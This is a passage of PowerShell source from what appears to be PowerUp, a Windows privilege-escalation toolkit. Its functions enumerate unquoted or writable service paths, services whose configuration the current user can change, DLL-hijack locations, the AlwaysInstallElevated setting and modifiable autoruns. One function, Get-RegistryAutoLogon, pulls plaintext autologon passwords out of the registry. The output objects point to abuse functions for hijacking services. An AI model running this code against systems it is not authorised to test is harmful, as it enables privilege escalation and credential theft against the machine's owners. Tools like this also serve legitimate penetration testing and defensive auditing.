                                        $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path
                                    }
    
                                    else {
                                        # if the path doesn't exist, check if the parent folder allows for modification
                                        try {
                                            $ParentPath = (Split-Path -Path $TempPath -Parent).Trim()
                                            if($ParentPath -and ($ParentPath -ne '') -and (Test-Path -Path $ParentPath )) {
                                                $CandidatePaths += Resolve-Path -Path $ParentPath | Select-Object -ExpandProperty Path
                                            }
                                        }
                                        catch {
                                            # trap because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely
                                        }
                                    }
                                }
                            }
                            else {
                                # if the separator contains a space
                                $CandidatePaths += Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path | ForEach-Object {$_.Trim()} | Where-Object {($_ -ne '') -and (Test-Path -Path $_)}
                            }
                        }
                    }
                }
    
                $CandidatePaths | Sort-Object -Unique | ForEach-Object {
                    $CandidatePath = $_
                    Get-Acl -Path $CandidatePath | Select-Object -ExpandProperty Access | Where-Object {($_.AccessControlType -match 'Allow')} | ForEach-Object {
    
                        $FileSystemRights = $_.FileSystemRights.value__
    
                        $Permissions = $AccessMask.Keys | Where-Object { $FileSystemRights -band $_ } | ForEach-Object { $accessMask[$_] }
    
                        # the set of permission types that allow for modification
                        $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile', 'AppendData/AddSubdirectory') -IncludeEqual -ExcludeDifferent
    
                        if($Comparison) {
                            if ($_.IdentityReference -notmatch '^S-1-5.*') {
                                if(-not ($TranslatedIdentityReferences[$_.IdentityReference])) {
                                    # translate the IdentityReference if it's a username and not a SID
                                    $IdentityUser = New-Object System.Security.Principal.NTAccount($_.IdentityReference)
                                    $TranslatedIdentityReferences[$_.IdentityReference] = $IdentityUser.Translate([System.Security.Principal.SecurityIdentifier]) | Select-Object -ExpandProperty Value
                                }
                                $IdentitySID = $TranslatedIdentityReferences[$_.IdentityReference]
                            }
                            else {
                                $IdentitySID = $_.IdentityReference
                            }
    
                            if($CurrentUserSids -contains $IdentitySID) {
                                New-Object -TypeName PSObject -Property @{
                                    ModifiablePath = $CandidatePath
                                    IdentityReference = $_.IdentityReference
                                    Permissions = $Permissions
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    
    
    function Get-CurrentUserTokenGroupSid {
    <#
        .SYNOPSIS
    
            Returns all SIDs that the current user is a part of, whether they are disabled or not.
    
            Author: @harmj0y
            License: BSD 3-Clause
    
        .DESCRIPTION
    
            First gets the current process handle using the GetCurrentProcess() Win32 API call and feeds
            this to OpenProcessToken() to open up a handle to the current process token. The API call
            GetTokenInformation() is then used to enumerate the TOKEN_GROUPS for the current process
            token. Each group is iterated through and the SID structure is converted to a readable
            string using ConvertSidToStringSid(), and the unique list of SIDs the user is a part of
            (disabled or not) is returned as a string array.
    
        .LINK
    
            https://msdn.microsoft.com/en-us/library/windows/desktop/aa446671(v=vs.85).aspx
            https://msdn.microsoft.com/en-us/library/windows/desktop/aa379624(v=vs.85).aspx
            https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx
    #>
    
        [CmdletBinding()]
        Param()
    
        $CurrentProcess = $Kernel32::GetCurrentProcess()
    
        $TOKEN_QUERY= 0x0008
    
        # open up a pseudo handle to the current process- don't need to worry about closing
        [IntPtr]$hProcToken = [IntPtr]::Zero
        $Success = $Advapi32::OpenProcessToken($CurrentProcess, $TOKEN_QUERY, [ref]$hProcToken);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
    
        if($Success) {
            $TokenGroupsPtrSize = 0
            # Initial query to determine the necessary buffer size
            $Success = $Advapi32::GetTokenInformation($hProcToken, 2, 0, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize)
    
            [IntPtr]$TokenGroupsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenGroupsPtrSize)
    
            # query the current process token with the 'TokenGroups=2' TOKEN_INFORMATION_CLASS enum to retrieve a TOKEN_GROUPS structure
            $Success = $Advapi32::GetTokenInformation($hProcToken, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
    
            if($Success) {
    
                $TokenGroups = $TokenGroupsPtr -as $TOKEN_GROUPS
    
                For ($i=0; $i -lt $TokenGroups.GroupCount; $i++) {
                    # convert each token group SID to a displayable string
                    $SidString = ''
                    $Result = $Advapi32::ConvertSidToStringSid($TokenGroups.Groups[$i].SID, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
                    if($Result -eq 0) {
                        Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
                    }
                    else {
                        $GroupSid = New-Object PSObject
                        $GroupSid | Add-Member Noteproperty 'SID' $SidString
                        # cast the atttributes field as our SidAttributes enum
                        $GroupSid | Add-Member Noteproperty 'Attributes' ($TokenGroups.Groups[$i].Attributes -as $SidAttributes)
                        $GroupSid
                    }
                }
            }
            else {
                Write-Warning ([ComponentModel.Win32Exception] $LastError)
            }
            [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenGroupsPtr)
        }
        else {
            Write-Warning ([ComponentModel.Win32Exception] $LastError)
        }
    }
    
    function Test-ServiceDaclPermission {
    <#
        .SYNOPSIS
    
            Tests one or more passed services or service names against a given permission set,
            returning the service objects where the current user have the specified permissions.
    
            Author: @harmj0y, Matthew Graeber (@mattifestation)
            License: BSD 3-Clause
    
        .DESCRIPTION
    
            Takes a service Name or a ServiceProcess.ServiceController on the pipeline, and first adds
            a service Dacl to the service object with Add-ServiceDacl. All group SIDs for the current
            user are enumerated services where the user has some type of permission are filtered. The
            services are then filtered against a specified set of permissions, and services where the
            current user have the specified permissions are returned.
    
        .PARAMETER Name
    
            An array of one or more service names to test against the specified permission set.
    
        .PARAMETER Permissions
    
            A manual set of permission to test again. One of:'QueryConfig', 'ChangeConfig', 'QueryStatus',
            'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', UserDefinedControl',
            'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity',
            'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess'
    
        .PARAMETER PermissionSet
    
            A pre-defined permission set to test a specified service against. 'ChangeConfig', 'Restart', or 'AllAccess'.
    
        .OUTPUTS
    
            ServiceProcess.ServiceController
    
        .EXAMPLE
    
            PS C:\> Get-Service | Test-ServiceDaclPermission
    
            Return all service objects where the current user can modify the service configuration.
    
        .EXAMPLE
    
            PS C:\> Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart'
    
            Return all service objects that the current user can restart.
    
    
        .EXAMPLE
    
            PS C:\> Test-ServiceDaclPermission -Permissions 'Start' -Name 'VulnSVC'
    
            Return the VulnSVC object if the current user has start permissions.
    
        .LINK
    
            https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
    #>
    
        [OutputType('ServiceProcess.ServiceController')]
        param (
            [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
            [Alias('ServiceName')]
            [String[]]
            [ValidateNotNullOrEmpty()]
            $Name,
    
            [String[]]
            [ValidateSet('QueryConfig', 'ChangeConfig', 'QueryStatus', 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', 'UserDefinedControl', 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess')]
            $Permissions,
    
            [String]
            [ValidateSet('ChangeConfig', 'Restart', 'AllAccess')]
            $PermissionSet = 'ChangeConfig'
        )
    
        BEGIN {
            $AccessMask = @{
                'QueryConfig'           = [uint32]'0x00000001'
                'ChangeConfig'          = [uint32]'0x00000002'
                'QueryStatus'           = [uint32]'0x00000004'
                'EnumerateDependents'   = [uint32]'0x00000008'
                'Start'                 = [uint32]'0x00000010'
                'Stop'                  = [uint32]'0x00000020'
                'PauseContinue'         = [uint32]'0x00000040'
                'Interrogate'           = [uint32]'0x00000080'
                'UserDefinedControl'    = [uint32]'0x00000100'
                'Delete'                = [uint32]'0x00010000'
                'ReadControl'           = [uint32]'0x00020000'
                'WriteDac'              = [uint32]'0x00040000'
                'WriteOwner'            = [uint32]'0x00080000'
                'Synchronize'           = [uint32]'0x00100000'
                'AccessSystemSecurity'  = [uint32]'0x01000000'
                'GenericAll'            = [uint32]'0x10000000'
                'GenericExecute'        = [uint32]'0x20000000'
                'GenericWrite'          = [uint32]'0x40000000'
                'GenericRead'           = [uint32]'0x80000000'
                'AllAccess'             = [uint32]'0x000F01FF'
            }
    
            $CheckAllPermissionsInSet = $False
    
            if($PSBoundParameters['Permissions']) {
                $TargetPermissions = $Permissions
            }
            else {
                if($PermissionSet -eq 'ChangeConfig') {
                    $TargetPermissions = @('ChangeConfig', 'WriteDac', 'WriteOwner', 'GenericAll', ' GenericWrite', 'AllAccess')
                }
                elseif($PermissionSet -eq 'Restart') {
                    $TargetPermissions = @('Start', 'Stop')
                    $CheckAllPermissionsInSet = $True # so we check all permissions && style
                }
                elseif($PermissionSet -eq 'AllAccess') {
                    $TargetPermissions = @('GenericAll', 'AllAccess')
                }
            }
        }
    
        PROCESS {
    
            ForEach($IndividualService in $Name) {
    
                $TargetService = $IndividualService | Add-ServiceDacl
    
                if($TargetService -and $TargetService.Dacl) {
    
                    # enumerate all group SIDs the current user is a part of
                    $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
                    $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value
                    $CurrentUserSids += $UserIdentity.User.Value
    
                    ForEach($ServiceDacl in $TargetService.Dacl) {
                        if($CurrentUserSids -contains $ServiceDacl.SecurityIdentifier) {
    
                            if($CheckAllPermissionsInSet) {
                                $AllMatched = $True
                                ForEach($TargetPermission in $TargetPermissions) {
                                    # check permissions && style
                                    if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -ne $AccessMask[$TargetPermission]) {
                                        # Write-Verbose "Current user doesn't have '$TargetPermission' for $($TargetService.Name)"
                                        $AllMatched = $False
                                        break
                                    }
                                }
                                if($AllMatched) {
                                    $TargetService
                                }
                            }
                            else {
                                ForEach($TargetPermission in $TargetPermissions) {
                                    # check permissions || style
                                    if (($ServiceDacl.AceType -eq 'AccessAllowed') -and ($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -eq $AccessMask[$TargetPermission]) {
                                        Write-Verbose "Current user has '$TargetPermission' for $IndividualService"
                                        $TargetService
                                        break
                                    }
                                }
                            }
                        }
                    }
                }
                else {
                    Write-Verbose "Error enumerating the Dacl for service $IndividualService"
                }
            }
        }
    }
    
    
    ########################################################
    #
    # Service enumeration
    #
    ########################################################
    
    function Get-ServiceUnquoted {
    <#
        .SYNOPSIS
    
            Returns the name and binary path for services with unquoted paths
            that also have a space in the name.
    
        .EXAMPLE
    
            PS C:\> $services = Get-ServiceUnquoted
    
            Get a set of potentially exploitable services.
    
        .LINK
    
            https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb
    #>
        [CmdletBinding()] param()
    
        # find all paths to service .exe's that have a space in the path and aren't quoted
        $VulnServices = Get-WmiObject -Class win32_service | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne '')} | Where-Object { (-not $_.pathname.StartsWith("`"")) -and (-not $_.pathname.StartsWith("'"))} | Where-Object {($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf(".exe") + 4)) -match ".* .*"}
    
        if ($VulnServices) {
            ForEach ($Service in $VulnServices) {
    
                $ModifiableFiles = $Service.pathname.split(' ') | Get-ModifiablePath
    
                $ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object {
                    $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name
    
                    if($ServiceRestart) {
                        $CanRestart = $True
                    }
                    else {
                        $CanRestart = $False
                    }
    
                    $Out = New-Object PSObject
                    $Out | Add-Member Noteproperty 'ServiceName' $Service.name
                    $Out | Add-Member Noteproperty 'Path' $Service.pathname
                    $Out | Add-Member Noteproperty 'ModifiablePath' $_
                    $Out | Add-Member Noteproperty 'StartName' $Service.startname
                    $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -Path <HijackPath>"
                    $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
                    $Out
                }
            }
        }
    }
    
    
    function Get-ModifiableServiceFile {
    <#
        .SYNOPSIS
    
            Enumerates all services and returns vulnerable service files.
    
        .DESCRIPTION
    
            Enumerates all services by querying the WMI win32_service class. For each service,
            it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine
            if the current user has rights to modify the service binary itself or any associated
            arguments. If the associated binary (or any configuration files) can be overwritten,
            privileges may be able to be escalated.
    
        .EXAMPLE
    
            PS C:\> Get-ModifiableServiceFile
    
            Get a set of potentially exploitable service binares/config files.
    #>
        [CmdletBinding()] param()
    
        Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pathname} | ForEach-Object {
    
            $ServiceName = $_.name
            $ServicePath = $_.pathname
            $ServiceStartName = $_.startname
    
            $ServicePath | Get-ModifiablePath | ForEach-Object {
    
                $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $ServiceName
    
                if($ServiceRestart) {
                    $CanRestart = $True
                }
                else {
                    $CanRestart = $False
                }
    
                $Out = New-Object PSObject
                $Out | Add-Member Noteproperty 'ServiceName' $ServiceName
                $Out | Add-Member Noteproperty 'Path' $ServicePath
                $Out | Add-Member Noteproperty 'ModifiableFile' $_.ModifiablePath
                $Out | Add-Member Noteproperty 'ModifiableFilePermissions' $($_.Permissions -join ", ")
                $Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference
                $Out | Add-Member Noteproperty 'StartName' $ServiceStartName
                $Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -Name '$ServiceName'"
                $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
                $Out
            }
        }
    }
    
    
    function Get-ModifiableService {
    <#
        .SYNOPSIS
    
            Enumerates all services and returns services for which the current user can modify the binPath.
    
        .DESCRIPTION
    
            Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if
            the current user has rights to change the service configuration.
    
        .EXAMPLE
    
            PS C:\> Get-ModifiableService
    
            Get a set of potentially exploitable services.
    #>
        [CmdletBinding()] param()
    
        Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object {
    
            $ServiceDetails = $_ | Get-ServiceDetail
    
            $ServiceRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart'
    
            if($ServiceRestart) {
                $CanRestart = $True
            }
            else {
                $CanRestart = $False
            }
    
            $Out = New-Object PSObject
            $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name
            $Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname
            $Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname
            $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -Name '$($ServiceDetails.name)'"
            $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
            $Out
        }
    }
    
    
    function Get-ServiceDetail {
    <#
        .SYNOPSIS
    
            Returns detailed information about a specified service by querying the
            WMI win32_service class for the specified service name.
    
        .DESCRIPTION
    
            Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on
            the pipeline object returned by Get-Service, extracts out the service name, queries the
            WMI win32_service class for the specified service for details like binPath, and outputs
            everything.
    
        .PARAMETER Name
    
            An array of one or more service names to query information for.
    
        .EXAMPLE
    
            PS C:\> Get-ServiceDetail -Name VulnSVC
    
            Gets detailed information about the 'VulnSVC' service.
    
        .EXAMPLE
    
            PS C:\> Get-Service VulnSVC | Get-ServiceDetail
    
            Gets detailed information about the 'VulnSVC' service.
    #>
    
        param (
            [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
            [Alias('ServiceName')]
            [String[]]
            [ValidateNotNullOrEmpty()]
            $Name
        )
    
        PROCESS {
    
            ForEach($IndividualService in $Name) {
    
                $TargetService = Get-Service -Name $IndividualService
    
                Get-WmiObject -Class win32_service -Filter "Name='$($TargetService.Name)'" | Where-Object {$_} | ForEach-Object {
                    try {
                        $_
                    }
                    catch{
                        Write-Verbose "Error: $_"
                        $null
                    }
                }
            }
        }
    }
    
    
    ########################################################
    #
    # DLL Hijacking
    #
    ########################################################
    
    function Find-ProcessDLLHijack {
    <#
        .SYNOPSIS
    
            Finds all DLL hijack locations for currently running processes.
    
            Author: @harmj0y
            License: BSD 3-Clause
    
        .DESCRIPTION
    
            Enumerates all currently running processes with Get-Process (or accepts an
            input process object from Get-Process) and enumerates the loaded modules for each.
            All loaded module name exists outside of the process binary base path, as those
            are DLL load-order hijack candidates.
    
        .PARAMETER Name
    
            The name of a process to enumerate for possible DLL path hijack opportunities.
    
        .PARAMETER ExcludeWindows
    
            Exclude paths from C:\Windows\* instead of just C:\Windows\System32\*
    
        .PARAMETER ExcludeProgramFiles
    
            Exclude paths from C:\Program Files\* and C:\Program Files (x86)\*
    
        .PARAMETER ExcludeOwned
    
            Exclude processes the current user owns.
    
        .EXAMPLE
    
            PS C:\> Find-ProcessDLLHijack
    
            Finds possible hijackable DLL locations for all processes.
    
        .EXAMPLE
    
            PS C:\> Get-Process VulnProcess | Find-ProcessDLLHijack
    
            Finds possible hijackable DLL locations for the 'VulnProcess' processes.
    
        .EXAMPLE
    
            PS C:\> Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles
    
            Finds possible hijackable DLL locations not in C:\Windows\* and
            not in C:\Program Files\* or C:\Program Files (x86)\*
    
        .EXAMPLE
    
            PS C:\> Find-ProcessDLLHijack -ExcludeOwned
    
            Finds possible hijackable DLL location for processes not owned by the
            current user.
    
        .LINK
    
            https://www.mandiant.com/blog/malware-persistence-windows-registry/
    #>
    
        [CmdletBinding()]
        Param(
            [Parameter(Position=0, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
            [Alias('ProcessName')]
            [String[]]
            $Name = $(Get-Process | Select-Object -Expand Name),
    
            [Switch]
            $ExcludeWindows,
    
            [Switch]
            $ExcludeProgramFiles,
    
            [Switch]
            $ExcludeOwned
        )
    
        BEGIN {
            # the known DLL cache to exclude from our findings
            #   http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx
            $Keys = (Get-Item "HKLM:\System\CurrentControlSet\Control\Session Manager\KnownDLLs")
            $KnownDLLs = $(ForEach ($KeyName in $Keys.GetValueNames()) { $Keys.GetValue($KeyName) }) | Where-Object { $_.EndsWith(".dll") }
            $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
    
            # get the owners for all processes
            $Owners = @{}
            Get-WmiObject -Class win32_process | Where-Object {$_} | ForEach-Object { $Owners[$_.handle] = $_.getowner().user }
        }
    
        PROCESS {
    
            ForEach ($ProcessName in $Name) {
    
                $TargetProcess = Get-Process -Name $ProcessName
    
                if($TargetProcess -and $TargetProcess.Path -and ($TargetProcess.Path -ne '') -and ($TargetProcess.Path -ne $Null)) {
    
                    try {
                        $BasePath = $TargetProcess.Path | Split-Path -Parent
    
                        $LoadedModules = $TargetProcess.Modules
    
                        $ProcessOwner = $Owners[$TargetProcess.Id.ToString()]
    
                        ForEach ($Module in $LoadedModules){
    
                            $ModulePath = "$BasePath\$($Module.ModuleName)"
    
                            # if the module path doesn't exist in the process base path folder
                            if ((-not $ModulePath.Contains('C:\Windows\System32')) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) {
    
                                $Exclude = $False
    
                                if($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) {
                                    $Exclude = $True
                                }
    
                                if($PSBoundParameters['ExcludeProgramFiles'] -and $ModulePath.Contains('C:\Program Files')) {
                                    $Exclude = $True
                                }
    
                                if($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) {
                                    $Exclude = $True
                                }
    
                                # output the process name and hijackable path if exclusion wasn't marked
                                if (-not $Exclude){
                                    $Out = New-Object PSObject
                                    $Out | Add-Member Noteproperty 'ProcessName' $TargetProcess.ProcessName
                                    $Out | Add-Member Noteproperty 'ProcessPath' $TargetProcess.Path
                                    $Out | Add-Member Noteproperty 'ProcessOwner' $ProcessOwner
                                    $Out | Add-Member Noteproperty 'ProcessHijackableDLL' $ModulePath
                                    $Out
                                }
                            }
                        }
                    }
                    catch {
                        Write-Verbose "Error: $_"
                    }
                }
            }
        }
    }
    
    
    function Find-PathDLLHijack {
    <#
        .SYNOPSIS
    
            Finds all directories in the system %PATH% that are modifiable by the current user.
    
            Author: @harmj0y
            License: BSD 3-Clause
    
        .DESCRIPTION
    
            Enumerates the paths stored in Env:Path (%PATH) and filters each through Get-ModifiablePath
            to return the folder paths the current user can write to. On Windows 7, if wlbsctrl.dll is
            written to one of these paths, execution for the IKEEXT can be hijacked due to DLL search
            order loading.
    
        .EXAMPLE
    
            PS C:\> Find-PathDLLHijack
    
            Finds all %PATH% .DLL hijacking opportunities.
    
        .LINK
    
            http://www.greyhathacker.net/?p=738
    #>
    
        [CmdletBinding()]
        Param()
    
        # use -LiteralPaths so the spaces in %PATH% folders are not tokenized
        Get-Item Env:Path | Select-Object -ExpandProperty Value | ForEach-Object { $_.split(';') } | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object {
            $TargetPath = $_
    
            $ModifiablePaths = $TargetPath | Get-ModifiablePath -LiteralPaths | Where-Object {$_ -and ($_ -ne $Null) -and ($_.ModifiablePath -ne $Null) -and ($_.ModifiablePath.Trim() -ne '')}
            ForEach($ModifiablePath in $ModifiablePaths) {
                if($ModifiablePath.ModifiablePath -ne $Null) {
                    $ModifiablePath | Add-Member Noteproperty '%PATH%' $_
                    $ModifiablePath.Permissions = $ModifiablePath.permissions -join ', '
                    $ModifiablePath
                }
            }
        }
    }
    
    
    ########################################################
    #
    # Registry Checks
    #
    ########################################################
    
    function Get-RegistryAlwaysInstallElevated {
    <#
        .SYNOPSIS
    
            Checks if any of the AlwaysInstallElevated registry keys are set.
    
        .DESCRIPTION
    
            Returns $True if the HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
            or the HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated keys
            are set, $False otherwise. If one of these keys are set, then all .MSI files run with
            elevated permissions, regardless of current user permissions.
    
        .EXAMPLE
    
            PS C:\> Get-RegistryAlwaysInstallElevated
    
            Returns $True if any of the AlwaysInstallElevated registry keys are set.
    #>
    
        [CmdletBinding()]
        Param()
    
        $OrigError = $ErrorActionPreference
        $ErrorActionPreference = "SilentlyContinue"
    
        if (Test-Path "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer") {
    
            $HKLMval = (Get-ItemProperty -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue)
            Write-Verbose "HKLMval: $($HKLMval.AlwaysInstallElevated)"
    
            if ($HKLMval.AlwaysInstallElevated -and ($HKLMval.AlwaysInstallElevated -ne 0)){
    
                $HKCUval = (Get-ItemProperty -Path "HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue)
                Write-Verbose "HKCUval: $($HKCUval.AlwaysInstallElevated)"
    
                if ($HKCUval.AlwaysInstallElevated -and ($HKCUval.AlwaysInstallElevated -ne 0)){
                    Write-Verbose "AlwaysInstallElevated enabled on this machine!"
                    $True
                }
                else{
                    Write-Verbose "AlwaysInstallElevated not enabled on this machine."
                    $False
                }
            }
            else{
                Write-Verbose "AlwaysInstallElevated not enabled on this machine."
                $False
            }
        }
        else{
            Write-Verbose "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer does not exist"
            $False
        }
    
        $ErrorActionPreference = $OrigError
    }
    
    
    function Get-RegistryAutoLogon {
    <#
        .SYNOPSIS
    
            Finds any autologon credentials left in the registry.
    
        .DESCRIPTION
    
            Checks if any autologon accounts/credentials are set in a number of registry locations.
            If they are, the credentials are extracted and returned as a custom PSObject.
    
        .EXAMPLE
    
            PS C:\> Get-RegistryAutoLogon
    
            Finds any autologon credentials left in the registry.
    
        .LINK
    
            https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb
    #>
    
        [CmdletBinding()]
        Param()
    
        $AutoAdminLogon = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -ErrorAction SilentlyContinue)
    
        Write-Verbose "AutoAdminLogon key: $($AutoAdminLogon.AutoAdminLogon)"
    
        if ($AutoAdminLogon -and ($AutoAdminLogon.AutoAdminLogon -ne 0)) {
    
            $DefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -ErrorAction SilentlyContinue).DefaultDomainName
            $DefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -ErrorAction SilentlyContinue).DefaultUserName
            $DefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -ErrorAction SilentlyContinue).DefaultPassword
            $AltDefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultDomainName -ErrorAction SilentlyContinue).AltDefaultDomainName
            $AltDefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultUserName -ErrorAction SilentlyContinue).AltDefaultUserName
            $AltDefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultPassword -ErrorAction SilentlyContinue).AltDefaultPassword
    
            if ($DefaultUserName -or $AltDefaultUserName) {
                $Out = New-Object PSObject
                $Out | Add-Member Noteproperty 'DefaultDomainName' $DefaultDomainName
                $Out | Add-Member Noteproperty 'DefaultUserName' $DefaultUserName
                $Out | Add-Member Noteproperty 'DefaultPassword' $DefaultPassword
                $Out | Add-Member Noteproperty 'AltDefaultDomainName' $AltDefaultDomainName
                $Out | Add-Member Noteproperty 'AltDefaultUserName' $AltDefaultUserName
                $Out | Add-Member Noteproperty 'AltDefaultPassword' $AltDefaultPassword
                $Out
            }
        }
    }
    
    function Get-ModifiableRegistryAutoRun {
    <#
        .SYNOPSIS
    
            Returns any elevated system autoruns in which the current user can
            modify part of the path string.
    
        .DESCRIPTION
    
            Enumerates a number of autorun specifications in HKLM and filters any
            autoruns through Get-ModifiablePath, returning any file/config locations
            in the found path strings that the current user can modify.
    
        .EXAMPLE
    
            PS C:\> Get-ModifiableRegistryAutoRun
    
            Return vulneable autorun binaries (or associated configs).
    #>
    
        [CmdletBinding()]
        Param()
    
        $SearchLocations = @(   "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
                                "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce",
                                "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run",
                                "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce",
                                "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService",
                                "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService",
                                "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService",
                                "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService"
                            )
    
        $OrigError = $ErrorActionPreference
        $ErrorActionPreference = "SilentlyContinue"
    
        $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object {
    
            $Keys = Get-Item -Path $_
            $ParentPath = $_
    
            ForEach ($Name in $Keys.GetValueNames()) {
    
                $Path = $($Keys.GetValue($Name))
    
                $Path | Get-ModifiablePath | ForEach-Object {
                    $Out = New-Object PSObject
                    $Out | Add-Member Noteproperty 'Key' "$ParentPath\$Name"
                    $Out | Add-Member Noteproperty 'Path' $Path
                    $Out | Add-Member Noteproperty 'ModifiableFile' $_
                    $Out
                }
            }
        }
    
        $ErrorActionPreference = $OrigError
    }
    
    
    ########################################################
    #
    # Miscellaneous checks
    #
    ########################################################
    
    function Get-ModifiableScheduledTaskFile {
    <#
        .SYNOPSIS
    
            Returns scheduled tasks where the current user can modify any file
            in the associated task action string.
    
        .DESCRIPTION
    
            Enumerates all scheduled tasks by recursively listing "$($ENV:windir)\System32\Tasks"
            and parses the XML specification for each task, extracting the command triggers.
            Each trigger string is filtered through Get-ModifiablePath, returning any file/config
            locations in the found path strings that the current user can modify.
    
        .EXAMPLE
    
            PS C:\> Get-ModifiableScheduledTaskFile
    
            Return scheduled tasks with modifiable command strings.
    #>
    
        [CmdletBinding()]
        Param()
    
        $OrigError = $ErrorActionPreference
        $ErrorActionPreference = "SilentlyContinue"
    
        $Path = "$($ENV:windir)\System32\Tasks"
    
        # recursively enumerate all schtask .xmls
